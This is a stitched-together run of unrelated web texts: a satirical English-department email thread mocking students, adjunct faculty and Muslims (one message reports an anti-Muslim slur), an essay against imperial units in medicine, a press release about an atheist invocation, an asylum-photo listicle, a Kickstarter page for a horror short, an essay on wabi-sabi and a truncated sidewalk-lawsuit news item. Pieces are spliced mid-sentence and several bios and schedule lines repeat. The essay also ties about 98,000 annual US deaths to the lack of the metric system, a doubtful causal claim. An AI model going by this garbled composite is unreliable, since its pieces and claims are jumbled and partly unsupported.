Sent: Wednesday, February 13, 2015 11:07 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: FWD: We Need to Acknowledge the Realities of Employment in the Humanities
Val,
You make a good point. I certainly didn’t mean to offend anyone.
It’s true that disciplines in the humanities have been cheapened, but not by anyone here.
I’m thinking about your suggestion re: a new list-serve, and I’m wondering, since you pointed out that none of the adjuncts or contingent faculty hardly speaks up on this list-serve, maybe instead of staring a whole new one we could just have them removed from it. Wouldn’t that be easier and we could probably get one of the administrative assistants to do it without having to wait on I.T.
I don’t know about any of you but I.T. tends to give me the run-around.
Jack
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Erin Voss [E.Voss@xsu.edu]
Sent: Wednesday, February 13, 2015 1:26 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Super Size Me
All:
Someone left this DVD in the cart, presumably for a class viewing.
Anyone know to whom it might belong?
I’m leaving it with Cheryl in the English Office.
Thanks,
Dr. Erin Voss
Assistant Professor o f English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Reginald Sharpington [Reg.Sharpington@xsu.edu]
Sent: Wednesday, February 13, 2015 1:54 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: For My Research
Colleagues:
It’s been reported on the local news that the Muslim community is breaking ground to build a new cultural center on State Rd. 11 near the Pack-N-Go. I was wondering if anyone had heard of any demonstrations organized by our red state denizens.
As I’m sure you know, my dissertation was on the rhetoric of xenophobia in Modern American poetry, and I think it will be fruitful for my research if I were present at one of these Tea Party protests as a non-participant observer.
If anyone else wants to go, it might be a hoot.
Maybe we can get some of our locals to enroll in Erin’s Twentieth Century Islamic Literature in Translation course (joke!).
Dr. Reginald Sharpington
Associate Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Valery Jenks [V.Jenks@xsu.edu]
Sent: Wednesday, February 13, 2015 2:14 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Super Size Me
Erin,
The DVD is Melony’s.
I think she’s giving her students a lesson in why their smelly and noisy food is also bad for them.
Hey, Mel, when you see the administrative assistants can you see if there’s any headway on this idea of having the adjuncts and contingent faculty taken off this list? I, for one, second the idea.
And I agree with Jack. Every time I have an encounter with I.T. they make me feel like they’re doing something I could have done myself. I mean if they came to me and wanted to know the difference between a diphthong and a spondee, I’d be happy to explain. It’s their jobs to help us, right?
All Best,
Val
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Melony Erikson [Melony@xsu.edu]
Sent: Wednesday, February 13, 2015 2:30 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Super Size Me
Erin,
Thank you for returning my DVD.
- - -
Val,
Ha! I wasn’t actually schooling anyone. I’ve taken care of the food situation, btw. What I did was to riff on Reg’s observation of feeding times and wild dogs and that pretty much took care of it.
The video was for an analysis of Spurloch’s argumentative presentation. I’m trying to get them to articulate something a little more sophisticated than “fast food is bad for you,” or “fast food will kill you.”
I mean, yes, but why? Or, in what ways does he demonstrate that? And, are there counter-arguments? And, if true, who is most affected by these facts?
We started out slow, but I kept them past the period and that finally got some of the smarter ones talking.
Overall, a great class!
Reg, I don’t know of any demonstrations but I have a neighbor on our road who hates Muslims (an unfortunate consequence of rural living). He calls them towel-heads and something else I’m not going to repeat here. Does that help? I could ask what kinds of things he might put on a sign if he was going to protest.
And yes, I’ll talk with Ceryl about thinning out the members of this list-serve. No offense to any adjuncts who might be reading this, but I think it’s a grand idea.
Melony
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Erin Voss [E.Voss@xsu.edu]
Sent: Wednesday, February 13, 2015 2:39 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Food in the Classroom
Everyone:
I’ve decided to only allow sushi in the classroom. It’s a healthy non-crunchy food that couldn’t bother anyone.
Dr. Erin Voss
Assistant Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of John Minichillo [j.minich@xsu.edu]
Sent: Wednesday, February 13, 2015 2:55 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Your students
Hey everybody,
I’m going to go ahead and say this before I’m taken off this email list: your students would be appalled by the ways you talk about them, although I’m sure they already suspect it, given that you rule over them with totalitarian class policies and in-class approbations.
You are really lucky to have the state pay you for what you do, and they do so not because of you, but because of the students. Civility is over-rated. Human connection is probably the central quality of good teaching and one for which several of you are severely lacking. You come across as class pets forever seeking approval for being the smart kid. I can only speak for myself, though I’m sure there are plenty who agree with me but are afraid to say anything.
My temporary contract will be up next semester and it’s non-renewable so this will be my last year of teaching at this institution and possibly my last year in the profession (not by choice, but it has gotten extremely competitive out there). And so I’m free to voice what others are afraid they’d be punished for….
None of you would find jobs in today’s market and I think on some level you probably know this. Minus your one stroke of luck, you would also be contingent. I had already seen the Chronicle article and wasn’t offended by it—believe me we know more than anyone what the score is—but I’m often offended by the way you talk with each other as if contingent faculty didn’t exist. I’d like to remind you that we teach twice the number of classes with two to three times the number of students, for less pay, with no chance of promotion or job security, and it seems the natural order—it would never occur to you to stick up for us. We are ineligible for teaching awards or travel money, and we’re required to come to faculty meetings even though we can’t vote. I know you probably can’t help yourselves, but a little more respect—for your students, for the people who live in this community, and for the contingent faculty—would go a long way. It’s easy enough to give the students the benefit of the doubt. You should assume that eating fast food in class is not their first choice. Being here is costing them a lot more than it did us, with mostly debt and shitty jobs ahead of them. You could at least be nice.
JM
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Erin Voss [E.Voss@xsu.edu]
Sent: Wednesday, February 13, 2015 3:20 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Your students
John,
I’m sorry that you didn’t make the most of your time here. It truly is a great place to live and to work.
You should know that the faculty list-serve really isn’t the place to air overblown negative grievances. If you have a beef with someone you should send an email off list. That’s the courteous and professional thing to do.
And with that, I agree that we should remove all adjuncts and contingent faculty from this list-serve. The sooner the better.
Hope this helps,
Dr. Erin Voss Assistant
Professor of English,
X State University
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Melony Erikson [Melony@xsu.edu]
Sent: Wednesday, February 13, 2015 3:36 AM
To: [ENGL@LISTS.XSU.EDU]
Subject: Contingent Faculty Observations
Hi, all,
I sent an email last week asking for volunteers to conduct in-class observations of our contingent faculty. There are still a few instructors who will need the required observation reports. Their schedules are listed on the attached doc. If anyone can help out, email me off list and I’ll have the instructor contact you.
As I’m sure you know, our instructor evaluations are an important way of communicating to the administration all the good work we do in the classroom, and we’ve got a great bunch of contingent faculty—I love watching them in action.
Thank you in advance,
Melony
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Eckhart Winn [E.Winn@xsu.edu]
Sent: Wednesday, February 13, 2015 3:41 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Contingent Faculty Observations
Mel,
I can observe John Minichillo.
Eckhart
- - -
From: ENGL-LISTS [ENGL@LISTS.XSU.EDU] on behalf of Reginald Sharpington [Reg.Sharpington@xsu.edu]
Sent: Wednesday, February 13, 2015 3:56 PM
To: [ENGL@LISTS.XSU.EDU]
Subject: Re: Contingent Faculty Observations
Eckhart beat me to it! I was just about to volunteer to observe Minichillo myself. Put me down as an alternate.
Does anyone have an update on when we can get this email list more exclusive?
Dr. Reginald Sharpington
Associate Professor of English,
X State UniversityBy The Metric Maven
Last year, I spent one beautiful afternoon driving back roads through the Rocky Mountains with my friend Thern, who is a Mechanical Engineer.
I don’t recall the conversation exactly, but at some point I was complaining about receiving an engineering drawing in mils. My friend swiftly turned his head, looked me in the eyes and said “mils are a bullshit, made-up unit.” I found his visceral, candid and accurate response refreshing. When later talking with Sven, another pro-metric friend, about mils, I thought I heard him call them “feral units.” The designation was perfect. A feral organism is one that has changed from being domesticated, to being wild or untamed. The word derives from the Latin word fera which means “a wild beast.” A mil is a feral engineering unit indeed.
What is a mil? Well, according to engineering folklore a mil is one-thousandth of an inch. The British use the word mil as a slang term for millimeter. Confusing a unit which is 25 um with one that is 1000 um, is an error of about a factor of about 40. When American
engineers work with British engineers on a project, this could be the source of some serious mistakes.
The two feral units which are probably the most dangerous to humans, you probably use every time you follow a cooking recipe. They are the teaspoon and tablespoon. Some readers may almost find this assertion preposterous, but, as I will demonstrate, it is not. In America we use the abbreviations Tsp for teaspoon, and Tbl for tablespoon.
When I was growing up, and became sick, my mother would obtain liquid medicine from a doctor, and then obtain a teaspoon or tablespoon from our silverware drawer. Unfortunately, there is no requirement that a teaspoon or tablespoon of flatware hold a prescribed volume. The label on the brown bottle would have the dosages typewritten in terms of teaspoons or tablespoons.
If one looks at a set of measuring spoons used in cooking, metric equivalents are generally stamped or printed on them. A teaspoon is designated as 5 mL and a tablespoon is 15 mL. (In Australia a teaspoon tablespoon is 20 mL) The ratio in volume is obviously three. It is well known that the abbreviations Tsp and Tbl are easily confused. This has led to cases of people receiving 1/3 of the required dosage of a medicine or three times the recommended dosage. Not long ago I exchanged emails with a woman who has become interested in metric issues because her child was incorrectly medicated because of Tsp versus Tbl. Studies indicate that approximately 98,000 Americans die each year from incorrect dosage, and medical errors which can be directly tied back to the lack of the Metric System in the United States
How long has the medical establishment known about the danger posed by feral units? I’m not sure, but here is a column from The Journal of The American Medical Association, dated September 20, 1902 (page 712):
The problem has been understood for over 100 years, since the days of John Shafroth, but nothing is as permanent as American inaction when it comes to adopting the metric system. This adoption must be mandatory and exclusive. It is my understanding, that legislation mandating over the counter medicines include dosage cups with milliliters, has been perennially thwarted by business and industry.
America is a country that is very sensitive to the welfare of children. The population at most risk from large dosage mistakes are children, yet this needless endangerment continues–only in America. All other countries (except Myanmar and Liberia) are metric and this is not a health issue. Clearly, feral units that wander the shelves of America have the potential to kill.
The ferocity of Tsp and Tbl are anemic by comparison to the difference between gram and grain. A gram is a metric unit, a grain?–well here what Wikipedia has to say:
A grain is a unit of measurement of mass that is nominally based upon the mass of a single seed of a cereal. From the Bronze Age into the Renaissance the average masses of wheat and barley grains were part of the legal definition of units of mass.
They go on:
The fundamental unit of the troy, apothecary and avoirdupois systems, commonly known as the grain (or less commonly the barleycorn), is nominally based on the grain of barley.
Well, there isn’t just one type of grain for mass, there is the grain, the troy grain, the pearl grain and the metric grain. Don’t even get me started on the insanity of mixed “units” like metric grain and metric ton. The grain we generally talk about is the one where 7000 grains are equal to one avoirdupois pound.
I might hear you say, but we don’t weigh things in grains. Well here is Wikipedia again:
The grain is used to measure the mass of bullets, gunpowder, smokeless powder, and preformed gold foil; it is the measure used by the balances used in handloading; bullets are measured in increments of one grain, gunpowder in increments of 0.1 grains. Moreover, the grain is used to weigh fencing equipment, including the foil. In archery, the grain is used to weigh arrows and arrow parts.
Unfortunately the grain is also sometimes used in medical prescriptions in the US, this is where an almost 65:1 error is possible. If the only legal system for trade in the US was exclusively the metric system, and it was enforced, it’s all grams—period, it’s all milliliters—period, it’s the simplest way known to describe these quantities— |
step in and resolve the dispute, saying both sides are too far apart for mediation to be effective.
The main issues in the contract dispute include wages, class sizes and composition.For Immediate Release: June 19, 2014
Contact: Paul Fidalgo, Communications Director
press@centerforinquiry.org - (207) 358-9785
0 Shares
Press Conference with Center for Inquiry President Immediately Following
Atheist Dan Courtney will deliver an invocation at the July 15 board meeting of the Town of Greece, New York, the municipality involved in the recent case of Town of Greece v. Galloway, in which the Supreme Court ruled in favor of sectarian prayer at government meetings. The president of the Center for Inquiry, a secular advocacy group based in Western New York, will speak at a press conference immediately following the meeting.
CFI will be represented at the press conference by Ronald A. Lindsay, president and CEO of the Center for Inquiry (CFI), an attorney, and author of the upcoming book The Necessity of Secularism. Last year CFI – an internationally renowned organization whose headquarters is in Amherst, NY – submitted an amicus brief to the Court in Greece v. Galloway urging them to rule against sectarian prayer at government meetings, on the grounds that they are exclusionary and discriminatory to those who do not share the majority faith.
“The Supreme Court’s ill-reasoned decision in Greece v. Galloway opened the floodgates to government endorsement of particular religions, casting nonbelievers and those with minority religious views as second-class citizens,” said Lindsay. “But one recourse available to nonreligious Americans is to ensure that the beliefs of the majority are not the only ones expressed at these meetings, and that the voices of atheists, humanists, and other nonbelievers are also heard. It is fitting that we undertake such an effort at a board meeting of the Town of Greece itself.”
Dan Courtney, a member of the Atheist Community of Rochester, will deliver the invocation and speak at the press conference, as will representatives of other organizations in support of church-state separation. Courtney’s invocation will center on the theme of inclusion in America, and how the Supreme Court’s decision in Greece v. Galloway conflicts with that ideal.
WHAT: Atheist invocation by Dan Courtney at board meeting of the Town of Greece, plus press conference with Ronald A. Lindsay of the Center for Inquiry.
WHERE: Greece Town Hall, 1 Vince Tofany Blvd, Greece, New York 14612
WHEN: Board meeting: 6:00pm ET; Press conference immediately after, approx. 6:15pm ETPoliticians have turned an eye towards mental health reform in the wake of recent shootings. It's true that the United States's mental health system is in need of reform. Treatment is an often pricey endeavor, and that's even if you have health insurance.
That said, today's approach to mental health is still light years ahead of where it was 200 or even 100 years ago. Here are some truly shocking photos of what it used to be like to walk the halls of an asylum.
1. Reasons for being admitted into an asylum in the late 1800s, including "laziness" and "masturbation for 30 years."
2. Vintage straitjacket.
3. Getting comfy.
4. This 20th century radium therapy might have done more harm than good for patients.
5. Diathermia was a treatment that involved sending a jolt of electricity through the patient's brain. It also proved to be unpredictable and harmful.
6. Creepy wall art from an abandoned mental institution in Italy.
7. In the 1800s, the doctors had a penchant for storing pieces of patients' brains in wax for reasons unexplained.
8. This 17th century mask was worn by violent patients to keep them from biting people.
9. It was once believed that mental disorders could be steamed away. Here are some patients in a sauna.
10. Tools for lobotomies.
11. This 1961 picture is from an asylum in Spain. It appears to be some form of cruel punishment.
12. In some asylums, a "sleeping massage" was used to calm patients.
13. This was a popular style of restraint chair.
14. This abstract drawing might have been considered a masterpiece if it wasn't drawn by a schizophrenic patient.
15. Never walk past door number 5.
I imagine that if a sane person were to be accidentally admitted into these hospitals, they would surely be insane by the time they got out. I think I'm going crazy by just looking at some of these treatments.About
ABOUT THE FILM
Charly, Edward and Kasey are amateur photographers and are always on the look out for different and odd subjects. On a road trip coming back from their hometown in the dry and hot west Texas landscape they stop at an abandoned gas station to snap a few photographs. Upon arrival things get sketchy pretty fast and eventually the trio descends into a nightmare no one wants to experience.
ABOUTH THE SCRIPT
I wrote the script after a similar experience sans the deranged killer duo. There was a real strange eerie and ominous feeling in the air, something I’d love to permeate through the film. So I considered the scene and I wrote something different, something real. I want the film to have a real look to it, not the typical Hollywood horror movie style. I don't want cliche and I definitely don't want cheesy, although this is a horror film I want to keep gore to a minimum. Too many horror films depend on gore and shock to get the viewers excitedI want the film to rely on the actors abilities, editing and use of the camera to convey the horror and tension. I'm a big fan of Alfred Hitchcock and would like to utilize classic Hitchcockian techniques to really get the audience going.
WHERE WHEN AND WHY
Filming will take place in west Texas with dry desert like conditions at the beginning of October. The hot and dry landscape and the bright intense rays of the sun plays a large role in the film. I grew up in west Texas desert and I know how the too much sun can effect a man. The sun alone is a killer and my villain needs all the help he can get.
CREW
ISAIAH MANCHA - Director - is a twenty-four year old independent filmmaker from Austin, TX. Since childhood Isaiah has had a fascination with film and storytelling. In 2008 he moved to Austin to pursue his dreams of becoming a filmmaker and has since then studied at Austin Community College and worked along side many talented Austin based filmmakers. In March of 2012 he wrote the script for The Roadtrip and has since been working on making this film a reality.
- - is a twenty-four year old independent filmmaker from Austin, TX. Since childhood Isaiah has had a fascination with film and storytelling. In 2008 he moved to Austin to pursue his dreams of becoming a filmmaker and has since then studied at Austin Community College and worked along side many talented Austin based filmmakers. In March of 2012 he wrote the script for The Roadtrip and has since been working on making this film a reality. Learn more about Isaiah through his blog here.
ALAN RAY - Director of Photography - is a highly prolific film director, writer, cinematographer and artist, he has been creating imaginary story worlds his whole life. His creative vision along with his knowledge of cameras and lighting give has earned him acclaim from peers and critics alike. For his work as cinematographer on the feature film ‘Radiant’, Robert Koehler of Variety Magazine wrote “...lenser Alan Ray’s work stands out...” Radiant premiered at the 2005 CineVegas film festival and garnered praise from artistic director Trevor Groth who said the film was “...feature filmmaking at it’s most creative.” Recently Alan also received an award for his cinematography on the 'Red Rover' web series this past April at the 2012 LAwebfest.His years of combined experience as an actor and a director of photography, along with his many years spent as a visual artist, make him an extraordinarily well-rounded director with excellent creative instincts and an intimate knowledge of both sides of the camera. In 2006 Alan made his debut as a feature film director with the psychologically haunting 'DEADLAND DREAMING', a film that he also wrote, shot and edited. Most recently Alan is shooting and directing his new Sci-Fi web series, the dark and edgy 'SHADOW 44'. Set to be released in September of 2012, the series was an official selection of the LAwebfest and was also selected to screen at the Gen Con film festival in August 2011.
- - is a highly prolific film director, writer, cinematographer and artist, he has been creating imaginary story worlds his whole life. His creative vision along with his knowledge of cameras and lighting give has earned him acclaim from peers and critics alike. For his work as cinematographer on the feature film ‘Radiant’, Robert Koehler of Variety Magazine wrote “...lenser Alan Ray’s work stands out...” Radiant premiered at the 2005 CineVegas film festival and garnered praise from artistic director Trevor Groth who said the film was “...feature filmmaking at it’s most creative.” Recently Alan also received an award for his cinematography on the 'Red Rover' web series this past April at the 2012 LAwebfest.His years of combined experience as an actor and a director of photography, along with his many years spent as a visual artist, make him an extraordinarily well-rounded director with excellent creative instincts and an intimate knowledge of both sides of the camera. In 2006 Alan made his debut as a feature film director with the psychologically haunting 'DEADLAND DREAMING', a film that he also wrote, shot and edited. Most recently Alan is shooting and directing his new Sci-Fi web series, the dark and edgy 'SHADOW 44'. Set to be released in September of 2012, the series was an official selection of the LAwebfest and was also selected to screen at the Gen Con film festival in August 2011. Click the link watch Shadow 44 here.
Learn more about Alan Ray and his work here.
KIRBY MEADOR - Production Sound Recordist - is a Full Sail University graduate and Certified Pro Tools Operater. He has worked on projects for Shoot First Pictures, Scott Rice Films, Understated Films, NPR and a number of other production companies. Kirby has mixed and edited material for films with budgets exceeding $145 million with the majority of his work being nationally broadcast on TV and radio. He loves dogs, breakfast tacos, and 96kHz, 24 bit audio.
- - is a Full Sail University graduate and Certified Pro Tools Operater. He has worked on projects for Shoot First Pictures, Scott Rice Films, Understated Films, NPR and a number of other production companies. Kirby has mixed and edited material for films with budgets exceeding $145 million with the majority of his work being nationally broadcast on TV and radio. He loves dogs, breakfast tacos, and 96kHz, 24 bit audio. Read more about Kirby here.
CAST
KATHERINE BOURNE as CHARLY - is deathly afraid of watching horror films, but being in one might help curb that fear. A Seattle native, she recently graduated with a B.F.A. In Acting from southern Methodist university, and has worked extensively in the Dallas theatre scene, including at Dallas Theatre Center, Undermain Theatre and Stage West. Katherine is an Actors Equity Membership candidate, and is so excited for this project!
MATTIAS MARASIGAN as EDWARD - Mattias Marasigan is currently living the cliche life as a server/actor in Austin, TX. The main difference is that he works at the number one movie theatre in America, The Alamo Drafthouse, so you should come visit. It's safe to say he got his passion for acting because of his love for movies. He's acted in a handful of student/short films and theatre productions, but wants nothing more than to help out his friends where he can in getting their movies made. Look out for him next as Keith in the upcoming Firefly: New Beginnings. Here is an example of his most recent project Grand Finale
as - Mattias Marasigan is currently living the cliche life as a server/actor in Austin, TX. The main difference is that he works at the number one movie theatre in America, The Alamo Drafthouse, so you should come visit. It's safe to say he got his passion for acting because of his love for movies. He's acted in a handful of student/short films and theatre productions, but wants nothing more than to help out his friends where he can in getting their movies made. Look out for him next as Keith in the upcoming Firefly: New Beginnings. Here is an example of his most recent project Grand Finale To learn more about him and see some of his writing click here.
Check out some of Mattias' editing and acting work here.
BRIANA MCKEAGUE as KASEY - has been acting in Austin for the past eight years. She has starred in several stage plays including Eye of God at The University of Texas at Austin, Accidental Death of an Anarchist at Vortex Repertory Theatre, and Crimes of the Heart at City Theatre where she was nominated for a B. Iden Payne Award. More recently she has been focusing on film. Her film credits include roles in several independent films and webseries that have made their way through the festival circuit including Ol' Daddy, Naive, and The Grownups which showed in the SXSW and Cannes film festivals in 2010. She is excited to start working with this production team on The Road Trip. Support independent film!
as - has been acting in Austin for the past eight years. She has starred in several stage plays including Eye of God at The University of Texas at Austin, Accidental Death of an Anarchist at Vortex Repertory Theatre, and Crimes of the Heart at City Theatre where she was nominated for a B. Iden Payne Award. More recently she has been focusing on film. Her film credits include roles in several independent films and webseries that have made their way through the festival circuit including Ol' Daddy, Naive, and The Grownups which showed in the SXSW and Cannes film festivals in 2010. She is excited to start working with this production team on The Road Trip. Support independent film! Learn more about Briana by clicking here.
SAMUEL FRENCH as THE DOCTOR - is an actor who loves his craft filled with passion that pours out into his films. Since his childhood Samuel has been acting and pursing his goals and dreams of being a working actor, something he feels blessed to do. Living his life through the Lord first and everything else second. Born in Waco Tx, and at the age of 18 went to college and played Professional Indoor football for 9 years, with acting on the back burner, Then moved to Austin where he found himself in a acting world for the first time ever and so began his studying. He just finished His first lead role in a feature film called Horror and has had smaller roles in other projects as well.
as - is an actor who loves his craft filled with passion that pours out into his films. Since his childhood Samuel has been acting and pursing his goals and dreams of being a working actor, something he feels blessed to do. Living his life through the Lord first and everything else second. Born in Waco Tx, and at the age of 18 went to college and played Professional Indoor football for 9 years, with acting on the back burner, Then moved to Austin where he found himself in a acting world for the first time ever and so began his studying. He just finished His first lead role in a feature film called Horror and has had smaller roles in other projects as well. Learn more about Samuel by clicking here.
Check out Samuel's IMDB page here.
FILM SCHEDULE
March 2012 - Began writing script
- Began writing script April 2012 - Finish writing script, begin editing and rewriting, pre-production, location scouting and searching for funds.
- Finish writing script, begin editing and rewriting, pre-production, location scouting and searching for funds. May 2012 - Begin fundraising campaign, Kickstarter, Indiegogo and application to TFPF
- Begin fundraising campaign, Kickstarter, Indiegogo and application to TFPF June 2012 - Finish casting, location scouting, story boarding and shoot scheduling.
- Finish casting, location scouting, story boarding and shoot scheduling. July 2012 - Plan and build all set pieces, procure needed equipment (lights, camera, sound, props) Continue fundraising campaign.
- Plan and build all set pieces, procure needed equipment (lights, camera, sound, props) Continue fundraising campaign. Aug 2012 - Continue fundraising, actors begin rehearsing together, fight scene choreography planning and rehearsed.
- Continue fundraising, actors begin rehearsing together, fight scene choreography planning and rehearsed. Sept 2012 - Finalize all open tasks
- Finalize all open tasks Oct 5 - Oct 8 - Shoot principle photography
- - Shoot principle photography Oct 9 - Return home, begin editing and finish film over next 2 months
- Return home, begin editing and finish film over next 2 months Dec 2012 - Finish editing film, color correct, sound edit and begin prep for film festival submission. Finish all media packages, poster, business cards and production stills sets.
- Finish editing film, color correct, sound edit and begin prep for film festival submission. Finish all media packages, poster, business cards and production stills sets. Jan 2013 - Begin fundraising for Film Festival submissions and enter the film to any and all open film festivals. Host screening of the film along with other filmmakers work at local businesses around Austin, TX. Send out pledge packages.
MY GOAL FOR THE FILM
This is the first film I've made of this magnitude, coming together with other talented artists to produce a fantastic piece of art. This is our chance to finally make our dreams come true. We've waited a long time for the opportunity, we have a script and a crew and all we need is a bit of funding to get this story out there.
ABOUT KICKSTARTER
Kickstarter is a funding platform for creative projects — everything from traditional forms of art (like theater to contemporary forms like design. A project has a clear goal, like making an album, a book, or a work of art in this case it will be an independent short film. When money Donors pledge specified amounts they don't actually pay until the goal is reached and the funding deadline has passed. If the goal isn't met then our project gets nothing, the project must be fully funded before the time expires. Everything helps! When we meet our goal we will begin shooting the film and hopefully use some of the money raised to pay for Film Festivals around the U.S.
HOW YOU CAN HELP
This film will only be possible if the goal is met. For an independent filmmaker finding funding for a film can be hard and sometimes keep a film from being made. By pledging you can help send us on our way to fulfilling our dreams and help bring this story to life.
Follow along with pre-production, principle photography and post-production on The Roadtrip blog here.Wabi-sabi is a Japanese worldview based on the first of the Buddhist Three Marks of Existence: all things are impermanent.
Wabi-sabi is a notoriously difficult concept to grasp, and is said to have no exact English equivalent. For that matter, a perfect definition might be antithetical to the concept itself.
But we can get pretty close to a working definition: wabi means simple, humble, natural; sabi, to tarnish, or to grow old. Together they stand to mean the appreciation of imperfection inherent to natural growth and decay; or simply: the appreciation of transience.
Emergence of wabi-sabi
Wabi-sabi emerged in the 15th Century as a philosophical response to a culture of opulence that engulfed the traditional Japanese tea ceremony. At a time when the tea ceremony had come to mean extravagant locales and exotic wares, some practitioners began to opt for humbler trappings. They favored small tea houses, local utensils, and eschewed gilded robes in favor of worn ones.
This represented a cultural shift away from conspicuous wealth and towards a reverence of the earthen, and all the imperfection and asymmetry therein.
A philosophy, not a fashion
Wabi-sabi has made inroads to Western culture, though a lot has been lost in translation. In the decorative arts, it has become popular as shorthand for ‘rustic’ or, simply, ‘beat-up.’ But wabi-sabi is not a decorative style; it is a lifestyle philosophy.
As such, you don’t need to go anywhere in particular or buy anything special to cultivate wabi-sabi. All you need to do is open yourself to the passing of time and the irregularity of nature.
With these comes the feeling of serene melancholy.
Serene melancholy: A blended emotion
Serene melancholy is an example of a blended emotion, or an emotional experience in which you feel more than one emotion at once. In a society where we all just want to be happy, the idea of aspiring to melancholia — whatever it might be paired with — might not sound very appealing.
But the fact is that we only have four basic emotions — mad, sad, glad, and afraid — and we can expect to feel each of them to some degree on most days. The aspiration towards serene melancholy is not masochism, it’s realism.
Look at the picture of weathered statue at the top of this page.
While pieces may have broken off with time, succumbed to overgrowth, or its finer details blunted by rain and wind, we can still recognize the beauty of the original vision. The image visually serenades us, while its signs of age remind us that if beauty is attainable, it is only attainable in passing. This experience — awe tinged with sadness — is wabi-sabi.
Wabi-sabi can also be present in more personal ways. You may feel serene melancholy when you visit your barely-recognizable hometown, thumb through an old yearbook, or simply visit an aging relative. These reminders of good times and loved ones bring us joy, while also reminding us the world continues to change.
So, wabi-sabi makes us nostalgic, then?
When wabi-sabi relates to our personal experiences, it can on the surface appear to resemble nostalgia, or a sentimentality towards the past. While they do share common ground –a recognition of change or decay, acknowledging the flawed nature of the present — they are in fact very different.
Nostalgia is narrower in scope. It typically relates to our personal experiences with the past and the emotions these memories evoke.
While wabi-sabi can relate to our own experiences, it can just as easily relate to something we have no prior experience with. Wabi-sabi does not require a memory bank.
The most important difference between the two, perhaps, is that nostalgia comes from an idealization of the past, while wabi-sabi is firmly rooted in the present. To feel nostalgic, one must draw on a comparison between the past and present; One doesn’t need an understanding of the past to feel serene melancholy about the changes one witnesses in the present.
Wabi-Sabi and the American Mind
Americans, generally speaking, despise decay in all of its many forms. We just can’t stand it. Our American Dream almost always includes an immaculate lawn — that radiant, uniformly green, geometrically harmonious declaration of one’s mastery over nature.
The American Lawn is a status symbol: the undeniable proof that the overseer of the ground has used his vast resources to conquer his environment and impose an artificial symmetry onto it.
Wabi-sabi, then, is the dreaded next door neighbor’s lawn that looks like a jungle: unkempt, unsterilized, unadulterated nature. Disgusting, right?
Even more emotionally charged are our feelings about the decay of our bodies. Wrinkles, receding hairlines, receding gums — we don’t just see them in the mirror, we see them in our nightmares. And we spend billions in a futile attempt to make it all just go away.
We’re chasing perfectionism in a world where change is the only constant.
The Perils of Perfectionism
But if a statue made of stone can’t keep itself together, then what hope do our fleshy selves have?
The downsides of perfectionism are becoming increasingly understood. Impossibly high standards are a playground for anxiety, depression, and other mental health concerns. Perfectionism is in part a refusal to accept that all things are in a constant state of change. For the perfectionist, every new wrinkle or graying hair is a belligerent that must be swiftly dealt with, and whether the perfectionist cares to admit it or not, he or she is losing the battle no matter how many resources he has allocated to the cause.
Now, imagine how much nicer life would be if every new grey hair actually promoted well-being? That is the power of serene melancholy.
Why Wabi-Sabi is Worth Cultivating
Serene melancholy is a complex emotion, and it can be easy to question whether you would even want to feel it. After all, how can melancholy be good?
Certainly, the cultivation of wabi-sabi can seem like a more dubious goal than the simple and straightforward Pursuit of Happiness. After all, who doesn’t want to be happy all the time?
But life is not simple and straightforward; life is complex, and avoiding negative emotions can be bad for us. Expecting to be happy all of the time is unrealistic — and it can also be damaging. Social science is finally catching up to what curators of wabi-sabi have known for centuries: unpleasant emotions like sadness — in moderate doses — are an important part of a fulfilling life.
Embracing Complexity
Psychologists Jonathan Adler and Hal Hershield found in a recent study
“[T]aking the good and the bad together may detoxify the bad experiences, allowing you to make meaning out of them in a way that supports psychological well-being.”
In other words, acknowledging the bad can actually make us feel better, so long as we acknowledge the good, too. The Pursuit of Happiness, then, is not only unrealistically one-dimensional — it isn’t even that helpful, either.
Sometimes, a dogged pursuit of good feelings can lead one to get trapped on the hedonic treadmill, or the cyclical striving after external benchmarks in search of short-but-fleeting bursts of happiness; Other times, the suppressing of unpleasant emotions can lead to misguided attempts at masking them, such as drug and alcohol abuse.
Who knew simplicity could be so dangerous?
Your Perception, Your Choice
Just as a damaged statue or a sun spot on one’s hand can promote anxiety, anger, or depression, it can also promote serene melancholy. They emotions you feel are largely determined by your thoughts and beliefs about change.
If you make a conscious effort to accept change, and, by extension, impermanence, then you are much more likely to experience the beauty of serene melancholy than the more difficult emotions that can be provoked by a resistance to change, namely anger and fear. Aspiring towards wabi-sabi can make the short jaunt through life much richer.
References:
Juniper, Andrew (2003). Wabi Sabi: The Japanese Art of Impermanence. Tuttle Publishing.
. Tuttle Publishing. Koren, Leonard (1994). Wabi-Sabi for Artists, Designers, Poets and Philosophers. Stone Bridge Press
Photo Credit:
All photographs licensed under Creative Commons zero.
Related Posts:
Want new articles by email? * indicates required Email Address * NameThe City’s beleaguered Public Works Department admitted in court that it did not inspect the City’s 2,382 kilometers of sidewalks in 2012 due to “experiencing computer problems”.
Paul McShane, a project manager in Road Operations for the City, told the Superior Court of Justice this information in a lawsuit the City lost in which a 89-year-old woman tripped on a sidewalk which was not properly maintained.
The woman, who was in good health and fully independent prior to the incident, suffered severe injuries which required hospitalization for 42 or 43 days and then placement in a rehabilitation centre.
From the Court ruling:
